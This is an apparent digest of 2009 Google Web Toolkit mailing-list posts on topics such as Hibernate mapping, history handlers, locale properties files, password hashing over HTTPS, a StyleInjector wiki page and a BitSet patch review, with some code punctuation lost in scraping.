Re: GWT and Hibernate XML files vs Annotations
I second Bruno and would add a few things. You can group entities and queries into DAOs and not pure entities and queries. So, to summarize: - Each DAO goes into it's own .hbm.xml file. This contains the core entity for that DAO and a few peripherial ones, i.e. Employee being the core and, Address and File the auxiliary ones, as long as the entity is not shared among multiple entities. Then it would go into it's own file. - Queries for a DAO go into the same .hbm.xml file like the main entities for that DAO. You might for instance want to do LEFT JOIN FETCH to work around lazy loading ( = null during RPC serialization with Gilead) - Since your application probably will be running on multiple environments (i.e. your laptop and a web hoster), I would do all the static configuration in the hibernate.xml file and off-load the environment specific configuration into the applicationContext.xml via properties on the LocalSessionFactory bean.

Of course, since GWT 1.5, you can define your mapping attributes using annotations (so you can use GWT-Validator on your domain classes for example). Hope this helps Bruno PS : I agree with you Paul.

HandlerRegistration.removeHandler() is NOT WORKING
Hello,
I am stuck with the fact that HandlerRegistration.removeHandler() is
not removing my handler.
I have two controllers, say ParentController and ChildController,
each
implements ValueChangeHandlerString to handle history events
The root class extended by both parent and child controllers:
public abstract class RootController implements
ValueChangeHandlerString{
protected Controller parent = null;
protected HandlerRegistration historyHandler = null;
protected HashMapString, Controller childControllers = new
HashMapString, Controller(4);
public RootController(Controller parent){
this.parent = parent;
}
public giveHistoryControlTo(RootController controller){
historyHandler.removeHandler();
controller.setHistoryHandler( History.addValueChangeHandler
(controller));
History.fireCurrentHistoryState();
}
}
public class ParentController extends RootController implements Entry
Point {
public void onModuleLoad() {
childControllers.put( ChildController.NAME, new ChildController
(this));
historyHandler = History.addValueChangeHandler(this);
History.fireCurrentHistoryState():
}
at some point ParentController executes:
giveHistoryControlTo( childController.get
(ChildController.NAME));
the above works fine, handler is removed and new event is
handled by the child controller
}
public class ChildController extends RootController{
public ChildController(ParentController parent){
super(parent);
}
at some point ChildController executes:
giveHistoryControlTo( (ParentController) parent );
the above fails!!!
it appears as though handler is not removed as the
History.fireCurrentHistoryState() inside
giveHistoryControlTo
()
is being handled by the ChildController, instead of parent :
(
}
Feels like a bug. Is there a reason why .removeHandler() would not
immediately
do what it is supposed to?
- Tristan
ps.
God helps those who help themselves
I hacked a workaround. But the bug still remains.
(workaround was setting historyHandler to null when
giving up control and then explicitly calling the
parent's onValueChange() if historyHandler == null)

Handle events from separate class?
I guess this question is not really GWT specific, but I haven´t been
working much with handlers at all when developing web applications
earlier.
I´ll make a very simple example:
public class EventManagerTest implements EntryPoint {
public void onModuleLoad() {
final Button sendButton = new Button(Send);
final TextBox helloField = new TextBox();
}
}
Let´s say I want to print Hello world in the textbox when someone
clicks sendButton.
Most examples would use:
sendButton.addClickHandler(new ClickHandler() {
public void onClick(ClickEvent event) {
helloField.setText(Hello world);
}
});
But if my application will handle multiple click event, I read that it
would be better to create a separate class to handle the events,
something like:
public class Handler implements ClickHandler {
@Override
public void onClick(ClickEvent event) {
}
}
Now to my question: How can I set the text of the helloField (or
manipulate any other widget for that matter)
from my Handler class, when the helloField is in another class? Or did
I get this wrong altogether?

Re: Dynamic Properties File Creation not effective
Ok I will again try to explain you Yes I want to create dynamically new properties file. As you told that I have to restart the server. It is ok. But it should work then. Actually, my doubt is related to GWT that how GWT handles properties file because as I told earlier that when I create a new file in HOSTED MODE IN GWT - it creates a new properties file and then I refresh my application. The newly created properties file WORKS on change of locale. Consider this case as I created a file abc_fr_FR.properties for french in France OK. Then I COMPILE/BROWSE the application, now when I create a new properties file in the same deployment area say it as abc_fr_CN.properties for french in Canada. Both files have different key/value pairs. I changed the locale to fr_FR it worked here. but when i changed to fr_CN It did not work. I then restart the application the whole application. Then tried in hosted mode as well as compile/browse again. Thought the properties file with fr_CN did not work, but the file is present in the deployment area. Now, I deployed my application in Tomcat, there too I created a new properties file say it abc_hi.properties - for hindi language in India OK. Then I checked it by changing the locale to first fr_FR it worked, but in fr_CN and hi (Hindi) it did not worked. So I restarted the Tomcat server. Then also I changed the locales but did not succeeded to change the key/value pairs. The last abc_hi.properties is also dynamically created in the tomcat deployment directory where all other properties file and other files reside. Though I did not succeeded. So my doubt is that - how GWT handles properties file, after compiling the project. Does it access the properties file and then read the key/ value pairs or it stores the key/value pair somewhere while compile. If it is so then it is a BUG in GWT while handling properties files. I hope you understood my problem now. Please help me out.

Re: [ERROR] Not enough arguments (2) passed to external.gwtOnLoad(), expected (3); error
Yes, that applied exactly to my situation too. I could compile fine and it would run fine once in a browser. I just didnt like that error constantly appearing in case it effected other things I was trying to debug. Upgradeing to dev.HostedMode fixed the problem, as its been weeks since I have seen it.

Curiously, when I hit the 'Browse/Compile' button in the GWT plugin test environment, the code would actually recompile and run properly in a browser.

1) Use a HTMLPanel rather then an iFrame
2) Load the HTML into a string.
3) Parse the string, swapping a href= entrys for div ID=blah,
giving each a unique ID.
4) Creating a Hyperlink object that has #oldlinkurl as its token.
5) Place the Hyperlink objects in the HTMLPanel at the correct places
using addAndReplaceElement
6) Add a historylistener to the main app that detects when the token
is set to a url, and then loads that new url into the HTMLpanel,
starting the whole process again from step 2.
Now, I believe this will work, as IE dosnt refresh the page for
internal settings of the history token, only when a link is clicked.
However, its naturally a rather ridiculous, not to mention slow,
method to go though.
On May 18, 5:05 pm, darkflame darkfl...@gmail.com wrote:
Specificaly, it seems impossible to have a link within a Frame change
the token of the parent (top) page, without the whole thing
refreshing.
For instance this;
http://www.darkflame.co.uk/iFrame%20problem/FrameTest.html
Click on the links in firefox, and the token changes nicely.
Click on the links in IE, and the whole page refreshs.
Now, the interesting thing is this problem only happens if the History
is actualy used listened for.
The code on that page is just;
=
public void onModuleLoad() {
//iframe
Frame testFrame = new Frame();
RootPanel.get().add(testFrame,100,100);
testFrame.setSize(90%,90%);
testFrame.setUrl(2.html);
//* REMOVE THIS LINE AND IT WORKS IN IE*
History.addValueChangeHandler(this);
//*
}
public void onValueChange(ValueChangeEventString event) {
String historyToken = event.getValue();
Window.alert(page changed to:+historyToken);
}
(just a standard project made with the plugin, with that code, and the
html you see used on the two pages)
My theory;
I'm guessing that by using the GWT history, the page is put into an
extra frame which somehow stops the links from working without
refreshing the page. Allthough refering to top in the javascript
still has the same effect.
Interesting to note; The history changes first, then the page refreshs
afterby a clear half second or so.
I hope someone can help with this, as this is actually a really major
issue for my project. Using iFrames becomes kinda worthless to me if
the history tokens cant be relied apon as a way to pass messages to
the containing app.

Re: Help with storing into session and accessing the session value in a Panel
You can create a RPC to ask the server what is the current user role. You'll need to create a session when the user creates a new session and then you can store inside some user data like the login, profile, ... For a stronger security, you'd have to validate in server RPCs that the current profile is authorised to execute this RPC. It's not secure to rely only on the button because it can be cracked easily.

which is working fine when I use
dataTable.addTableListener new TableListener (){
public void onCellClicked(SourcesTableEvents sender, final int
row,final int cell) {

Now I have to code in place the make the cell editable, when I double

But I dont know how to get the Doubleclick event in the Grid.
I heard of sinkEvents and onBrowserEvent
But not sure how to go about it.
Any help would be appreciated.

Re: Password Encryption
Security is a very complex and wide world.
It's not the same an application for a blog with basic security
that a back application with a very high security at the browser,
communication and server levels.
Usually it's enough using a hash D Peters said.
For enterprises, usually I have to use HTTPS to protect the data
interchanged too.
All depends on the security level that your app requires.

Ah.. doing an RSA-type transaction over javascript is tricky, but do-
able. But do you really need that level of security? Most web-sites
do not do this -- they merely hash the password using one-way
encryption (MD5). There are plenty of js libraries to do this, and
all you would need to do in GWT is wrap the encode method with a
JSNI call. A very simple solution offering a basic level of security
(so passwords don't go in clear text over the wire).
I'm not saying MD5 hashing on the client is great security. You could
intercept the hashed password and do a rainbow attack to find out what
the true password is, or hack the application and use the hashed
password to imitate the user.
It really depends on how secure your site needs to be..

We use HmacSHA1 client side with GWT, and find it works well for our
needs. HmacSHA1 is simple enough to implement once you get SHA1
working. There's tons of examples out there. I took one that was
relatively simple Java sample and adjusted it work with GWT.
It goes something like this:
1. Server sends random token to client (called a NONCE or Number used
once)
2. Client computes HmacSHA1(token, passoword+timestamp) and sends the
resulting signature and the timestamp used back to the server.
3. The server performs the same operation and confirms it's computed
signature matches the one returned by the client and that the
timestamp is within an acceptable time range. If these conditions are
met, the client has proven it has the correct password.
You can protect against replay by only allowing a token to be used
once from the same IP address it was sent to.
You can extend this easily to do more:
If you do this on every request, and include the URL, query parameters
and key headers in the signature you can secure various web service
calls. If you compute the MD5 or SHA1 of the body, and include that in
the Hmac signature as well, then you've got a message integrity check
on the whole request.
If you need to prevent others from seeing the data of the requests at
all, then SSL is your only real option.

Re: Password Encryption
My sentiments exactly. Not to mention that it's actually quite easy, if you
don't know what you are doing, and make a secure algorithm unsecure by
something as simple as choosing the wrong random number generator ( I
imagine the random number generator used in Javascript is actually not
suitable).
I would always prefer HTTPS over anything I would write because its so
reliable and people much smarter than I have verified the particular
implementation.

Client-side OSGi-like modules for GWT?
I'm currently thinking about moving my Eclipse-based application completely to GWT. For that to work, though, I would need OSGi-like modules so that one can plug in code. Server-side that is no problem, I can use OSGi. Client-side, it becomes more difficult: I don't see a way for a plug-in to hand (separately compiled) code to the framework. Can this be done? If not, will it be possible in the future? Thanks!

Re: Composite question
Yes, I'm a control freak! ;-) But also my brief is to provide a widget library with my (well, the client's) class names etc. and 100% css layout and style, and prevent individual developers to use gwt's setters (getters are less important) and diverge from the required styles - consistency is paramount. You mention that I could extend Widget rather than Composite? But Widget also extends UIObject... maybe I should just extend Object.. and write my own API/toolkit ;-) But I would be interested in hearing more on this.

Re: Composite question
Sorry - I was going from memory and got the widget thing wrong. :-( You'd have to go back to real basics to get around that. Or tell your client to get developers they can trust to do as they are told ;-) Is your client absolutely sure that their untrustworthy, pig-headed, anarchic, f***-you-mentality programmers will *never* need to set a width to, say, 100%? Setting absolutely everything in css will really complicate the css under some circumstances. There are some settings which really should be set in code (like setting the cell width to 100% in a HorizontalPanel) because they are necessary in building other widgets and all-but-impossible in css and/or will break if Google change that widget's structure Ian http://examples.roughian.com --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group.

Re: Data binding frameworks and overlay types
Hi ziglionz, The ability to cast an overlay type to an interface like Binding would require the interface itself to also be an overlay type (via the JavaScriptObject.cast() method call). Since the interface itself isn't an overlay type, and a custom overlay type can't implement it because it does indeed require an implementation for methods declared in the interface, perhaps you should consider the approach below. You can define a wrapping class over the overlay type that can implement the Binding interface. The delegation to the overlay type does incur some indirection in code, but in the compiled result, there shouldn't be any overhead to pay since the compiler will inline the calls. Hope that helps, -Sumit Chandel On Mon, May 18, 2009 at 6:33 PM, ziglionz zigli...@gmail.com wrote: Hi, I've been looking for a databinding framework for GWT and the two most active ones appear to be the Gwittir and the UFacekit projects. My question is: can they work at all with overlay types? I suspect no, due to the limitations of JavaScriptObject http://code.google.com/p/google-web-toolkit/wiki/OverlayTypes One of those limitations is: overlay types cannot implement interfaces that define methods. That prevent overlay types from implementing the Bindable interface, that is required for Gwittir. But one can always add methods to an overlay type without explicitely implementing an interface. I wonder if the compiler would allow us to circumvent the above limitation by forcing a casting of an overlay type to (Binding)... --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group.

Re: Eclipse Plugin Compile Button Stack Overflow
Hi, Unfortunately, there is no way to set authentication parameters for proxy servers on the command line. The settings http[s].proxyUser and http[s].proxyPassword do not work. They're actually an urban legend - these properties were never respected by Sun's JDK. The reason why the proxy works in Eclipse is because at some point it probably prompted you for your authentication credentials after you hit Deploy. Once you enter them once, the credentials are saved and re-used by the JDK. I'll file a bug for this issue. The ideal solution would be for the user to be able to pass in the proxy username and proxy passwords as command-line args to appcfg. There is a potential workaround, but it is pretty ugly. What you would need to do is write a new main class, and in that main class, you would register a default Authenticatorhttp://java.sun.com/j2se/1.5.0/docs/api/java/net/Authenticator.htmlwith your proxy username and password. Then, you would call AppCfg.main, passing as args the same exact args that were passed in to your main class. Of course, you'd then modify the appcfg script to invoke your class instead of AppCfg. As an FYI, if you want to set the http[s] proxy server and port, you can now do this via the command line if you're using version 1.2.1 of the App Engine SDK - you'll no longer need to edit the appcfg script and add -Dhttp[s].proxy... Run the appcfg script with the -h option for more information on the proxy options.

getStylePrimaryName() problem?
I am trying to change the background color of a tree item by adding a
dependent style name. However, when I called
treeItem.addStyleDependentName(newStyleName), nothing happened. I
look at the docs, and found out that addStyleDependentName calls
addStyleName(getStylePrimaryName() + - + newStyleName). So I
manually coded this, and still the new style was not applied. I did a
little tinkering, and discovered that getStylePrimaryName() was
returning an empty string, instead of gwt-TreeItem as the primary
style name. A simplified version of my code is below:
//JAVA CODE
Tree tree = new Tree();
TreeItem treeItem = new TreeItem(I'm a TreeItem!);
String style = treeItem.getStylePrimaryName() + blue;
Window.alert(style);
treeItem.addStyleName(style);
tree.addItem(treeItem);
//CSS CODE
.gwt-TreeItem{
color: red;
}
.gwt-TreeItem-blue{
background-color: blue;
}
Somebody know how to fix this?

I can't seem to get any of the IE6 PNG transparency fixes (SuperSleight, unitpngfix, http://www.komodomedia.com/blog/2007/11/css-png-image-fix-for-ie/) working in my GWT app. (Note that my PNGs are specified in my CSS, so solutions like PNGImage won't help.) Has anyone gotten any of these working? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group.

Tomcat and GWT 1.6
Hi all, I have done many webpages with tomcat but seem to be having some issues deploying a simple webpage for GWT that loads other pages into Frames. This app just creates a few Frames and puts a page into it. Very simple All the pages are under a directory called Pages off the Root (war/ Pages in eclipse). In my code I do the following I do the following to display the Url into the Fram. Page.setUrl(/Pages/General/Home.html); All the GWT widgets display just fine but I do not see any of the pages I referance. It does work from eclipse just fine, I see all my widgets (GWT stuff) and all the pages I load via ??.setUrl. I created the jar file in the following manor jar cvf xx.war -C war . I also made the war file via cd war jar cf ..\xx.war * It should be noted this GWT does not have any server stuff, just all page stuff. Donald W.

Re: Inherit java.seurity and commons-codec-1.3.jar
Hi Asif, Just run your application over ssl (https) get a cert and install it in Tomcat or what ever J2EE application server (or .net, .php exc) your using. Thats all you need to secure your passwords over the wire. Most of java is not available for GWT, only if the jar or project says it is compatible can you use a external jar (or most of the core java classes). Hope this helps, Scott On May 20, 5:28 am, abbu minhaj.mis...@gmail.com wrote: Im using java.security and commons-codec-1.3 jar for passwprd hashing. but im unable to inherit those jars.

GWTCanvas vs gwt-canvas ?
What's the difference between GWTCanvas (in the incubator) and gwt- canvas? GWTCanvas: http://code.google.com/p/google-web-toolkit-incubator/wiki/GWTCanvas gwt-canvas: http://code.google.com/p/gwt-canvas/ Overall, GWTCanvas is working well for me, but I'm a bit unhappy with its IE performance in the rendering of bordered rectangles (playing around with some test code, it seemed at one point that, in IE only, simple HTML element rendering of a bordered rectangle was actually just a bit faster than using GWTCanvas; GWTCanvas is much faster in IE for more complex shapes that would require many HTML elements, like pie slices, though). Would gwt-canvas be faster for IE bordered rectangle rendering? Is it worth trying? How is it different/better than the incubator's GWTCanvas? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group.

Re: Hibernate4Gwt inherited issue
Hi Noon, I know that is simple GWT issue and not HIbernate4GWT issue. I am also know what is the main cause of this problem. I am getting this exception message because i am going to import another package rather than client on the client side class i.e. com.test.modulename.bdo.ABC in the com.test.client.modulename.screen package. For handling this, i also included the source path like source path='bdo'/ in the my entryPoint gwt.xml. And you are also doing the same thing in the Hibernate4Gwt test example if i am not wrong. My project and package hierarchy is like as: I have four projects like Module, ModuleUI, HIbernate4GWTImpl and HomeModule. I configured my application like as : Module :- all application BDO's and mapping files. ModuleUI :- all widgets. Hibernate4GWTImpl :- DAO, HIbernate4GWTService, Hibernate4GWTServiceImpl and all resources. HomeModule :- My main entry point. According to that requirements, i created two gwt.xml one is in HIbernate4GWTImpl and second is in HomeModule. My HomeModule gwt.xml structure is like as :- module inherits name='com.google.gwt.user.User'/ source path='bdo'/ source path='client'/ inherits name='net.sf.hibernate4gwt.Hibernate4Gwt14'/ !-- Specify the app entry point class. -- entry-point class=com.shrisure.client.HomeModule / /module So, according to this, i am thinking i am going on the right way. I know there may be very small mistake that is blocking me. Could you please help me, for resolving this issue. I know Hibernate4GWT has been renamed and it's Gilead infect not HIbernate4GWT but first of all it should work in my application whatever it's Gilead or Hibernate4GWT and that is no mean for me is it Gilead or Hibernate4GWT. I am thinking in very simple way... if please configured whatever you have and also check how i can take benefits of this in my application then think further i.e. it's Gilead or HIbernate4GWT whatever. I am using GWT 1.5.3, JDK 1.5 with Hibernate4GWT. Please tell me where i am doing wrong? Regards, SUnil.

Hi Sajil, I believe the error you're receiving is due to a ClassCastException in your server-side code.

You end up with something like: var cssText = a + b + c + . (hundreds) which produces a very deeply nested binary expression tree. Good example. That would be a problem if there can be in the neighborhood of 10,000 of them. Hundreds wouldn't be a problem. In general, it would take a few days' work to write a general un-deepener. We can do that if it starts to look like an important enough problem. In this case, it looks much easier to modify the generator.

+#summary A utility class for injecting CSS styleshees
+
+= Goal =
+
+ * Provide a cross-browser abstraction for injecting additional CSS at
runtime.
+
+= Details =
+
+StyleInjector is part of the `com.google.gwt.dom.user` package.
+
+Define your ClientBundle and CssResource:
+{{{
+public interface Resources extends ClientBundle {
+ public static final Resources INSTANCE =
+ GWT.create(Resources.class);
+
+ @ImageOptions(repeatStyle = RepeatStyle.Horizontal)
+ @Source(myBackground.png)
+ public ImageResource backgroundFunction();
+
+ @Source(myCss.css)
+ public CssResource css();
+}
+}}}
+
+The CSS contents (see CssResource for more information):
+{{{
+...@sprite .some .selector {
+ gwt-image: 'backgroundFunction';
+}
+}}}
+
+In your `onModuleLoad`:
+{{{
+StyleInjector.injectStylesheet(Resources.INSTANCE.css().getText());
+}}}
+
+
+You now have your stylesheet applied to the document while taking
advantage of strongly-named or inlined resource URLs. Because the standard
I18N-style of resource naming is applied to the `ImageResource` instance,
it is possible to provide localized CSS background images without the need
for multiple, per-locale stylesheets. It is now possible to have
`myBackground_fr.png` and `myBackground_en.png` substituted based on the
`locale` deferred binding property.
+
+It is possible to update the contents of a previously-injected stylesheet
using the `setContents()` method:
+{{{
+StyleElement elt = StyleInjector.injectStylesheet(CSS contents);
+StyleInjector.setContents(elt, New CSS contents);
+}}}
+
+= Caveats =
+
+Certain browsers have an upper bound on the total number of stylesheets
that can be injected. In this case, StyleInjector will append to
previously-created stylesheets when `injectStylesheet` is called. If the
developer wishes to maintain relative ordering of CSS content, the
`injectStylesheetAtEnd` and `injectStylesheetAtStart` methods should be
used instead of `injectStylesheet`.
+
+In general, it is more efficient to concatenate the output of multiple
CssResource instances before injecting the CSS to reduce the amount of time
the CSS is re-parsed by the browser.

[gwt-contrib] Re: Patch for issue 3279
Thanks for taking the time to listen, and for reviewing the code. If I come across as overly defensive, it's only due to the amount of time I've invested in this code. It's not due to any dislike for you, or illusions of grandeur. I appreciate the patience you've shown me. How about refactoring BitSet.java as follows. I have introduced 3 private methods to do the handling As a side note, two of those three methods already exist with slightly different names. Methods that operate on an array of integers, instead of an array of bits use the prefix raw. I could change this to a suffix of Word if you prefer it. I had thought about storing all the indexes in a separate array before, but this simplification comes at the expense of O(N) memory usage. Sure it's N/32, but that's still O(N). If the code size and complexity are a serious problem, I can factor the core of nextSetBit into a raw static method. This method finds the next element in the array by interleaving property checks and index increments. This method can then be called in a simple loop to operate over the data for those bitwise operators, and in Java opposed to JavaScript. This favors dense arrays, but that usage is likely more common. It will be slower, but should be comparable in speed. What do you think? You probably want to introduce another java method and use it instead of 5 in the code I use 5 and 5 in both Java and Javascript. I mention this in the comment at the top of the class. This is done to be readably consistent between Java and JavaScript. I can make static functions for these, but that makes the JSNI code harder to read. Have you considered this? The JSNI methods that use 5 or 5 include: getLength(JsArrayInteger array) clear(JsArrayInteger array, int bitIndex) flip(JsArrayInteger array, int bitIndex) get(JsArrayInteger array, int bitIndex) set(JsArrayInteger array, int bitIndex) nextSetBit(int fromIndex) I've also replied to some of your comments in place. http://gwt-code-reviews.appspot.com/33815/diff/9/1007 File user/super/com/google/gwt/emul/java/util/BitSet.java (right): http://gwt-code-reviews.appspot.com/33815/diff/9/1007#newcode176 Line 176: }-*/; On 2009/05/21 18:39:08, amit wrote: avoid using Log? Integer::heighestOneBit doesn't calculate log2, so the only other option is to bit twiddle the highest bit out. When I tried this it was slightly slower for some reason, but this method isn't called frequently enough to make a difference. It will be 3 or 4 more lines of code. Is this preferable? http://gwt-code-reviews.appspot.com/33815/diff/9/1007#newcode498 Line 498: // the code used is faster than the following: I'd imagine it's not uncommon in an /interpreted/ language that 1 instruction, whatever it is, is faster than 4 or 5 other instructions. And a multiply is likely compiled away to shifts in JIT compiled VMs. Are you asking me to site a published paper on this version of the algorithm? I googled and found this algorithm in an AMD reference: www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/25112.PDF It's listed in chapter 8, on page 180. The BitSet test unit I wrote shows this code to be twice as fast as calling Integer::bitCount. However, I looked up Integer::bitCount's source and replaced my code with that, and it's nearly as fast. The obvious conclusion here is that a majority of this gain is from inlining. Future versions of GWT may inline this for us, so I will concede your point and replace this with Integer::bitCount unless you say otherwise. http://gwt-code-reviews.appspot.com/33815/diff/9/1005 File user/test/com/google/gwt/emultest/java/util/BitSetTest.java (right): http://gwt-code-reviews.appspot.com/33815/diff/9/1005#newcode117 Line 117: .cardinality()); i.e., don't break between the object and its method name during an invocation.

[gwt-contrib] Re: Patch for issue 3279
O(N) temporary memory usage, which having the three native methods
approach (getWordPositions, setWord, getWord) is likely to have, is a
reasonable tradeoff to make since it will greatly enhance readability.
Your approach of using array indexing already saves a lot of memory as
it only uses O(N) memory where N is the number of set bits. Trying to
optimize some temporary memory, by making the code much harder to read,
is a premature optimization.
Using nextSetBit() repeatedly is a non-starter since compared to the
integer-by-integer approach, every operation will be bit-by-bit. This
will be x-times slower, where x is the average number of bits set in an
integer.
So, I recommend refactoring all code such that getWordPositions,
getWord, and setWord are the *only* 3 JSNI methods. I *think* this is
possible. Thoughts? The Gwt compiler will also be able to optimize
better with only 3 Jsni methods.
For example, with cardinality, the method could be (Gwt Compiler will do
the necessary inlining):
public int cardinality() {
JsArrayInteger positions = getWordPositions(this.array);
int count = 0;
for (int i = 0; i positions.length(); i++) {
count += Integer.bitCount(positions.get(i));
}
return count;
}
Finally, an implementation for length() without log can be:
public int length() {
JsArrayInteger positions = getWordPositions(this.array);
int max = -1;
for (int i = 0; i positions.length(); i++) {
int position = positions.get(i);
if (position max) {
max = position;
}
}
if (max == -1) {
return 0;
}
// compute the position of the leftmost bit
int wordValue = getWord(this.array, max);
int position = max * 32;
int offsets[] = {16, 8, 4, 2, 1};
int intValues[] = {0x, 0xFF00, 0xF0, 0xC, 0x2};
for (int i = 0; i offsets.length; i++) {
if ((wordValue intValues[i]) != 0) {
position = position + offsets[i];
wordValue = wordValue offsets[i];
}
}
position += wordValue;
return position;
}
Note that I have not run any of the samples, but you should get the
basic idea. Looking forward to your patch with these changes.

I guess I wasn't clear in this regard, I was talking about just
refactoring out a method that's just the core of nextSetBit, perhaps
with the name nextValue. This would find the next integer index into
the array, it would not operate on the bit level. This is would be very
fast for dense arrays since the first thing it would check would be the
next index, and it'd find it.
So, I recommend refactoring all code such that getWordPositions,
getWord, and
setWord are the *only* 3 JSNI methods. I *think* this is possible.
Thoughts? The
Gwt compiler will also be able to optimize better with only 3 Jsni
methods.
There are two other methods I think are essential
One to set the length(JsArrayInteger array, int length) {
array.length = length;
}
and one to delete(JsArrayInteger array, int index) {
delete array[index];
}
I also don't think methods like trimToSize are nearly as efficient in
Java, it's not hard to read, and I don't think there's much the compiler
can optimize there.
This is a large class. How about I start by getting rid of as many JSNI
methods as I can.

[gwt-contrib] Add mhtml support to ClientBundle
Reviewers: rjrjr, jgw, Description: This patch adds support for bundling ClientBundle resources into a single mhtml document to reduce the total number of round trips required in IE6. It furthermore enables the use of data: urls for IE8. Specifics: - The mhtml format is defined in rfc 2557; it's basically a MIME multipart message. - The new support is added by creating a new MhtmlResourceContext and a trivial MhtmlClientBundleGenerator to load the new context implementation when the ie6 user.agent is in use. - Moved the maximum size constant and base64 encoding function from InlineResourceContext to AbstractResourceContext I verified that the mhtml approach works in regular IE6 as well as IE8 in compatibility mode, both with ImageResource+Image widget and imageresour...@sprite approaches. The data: URL approach was verified with IE8 in standards mode.
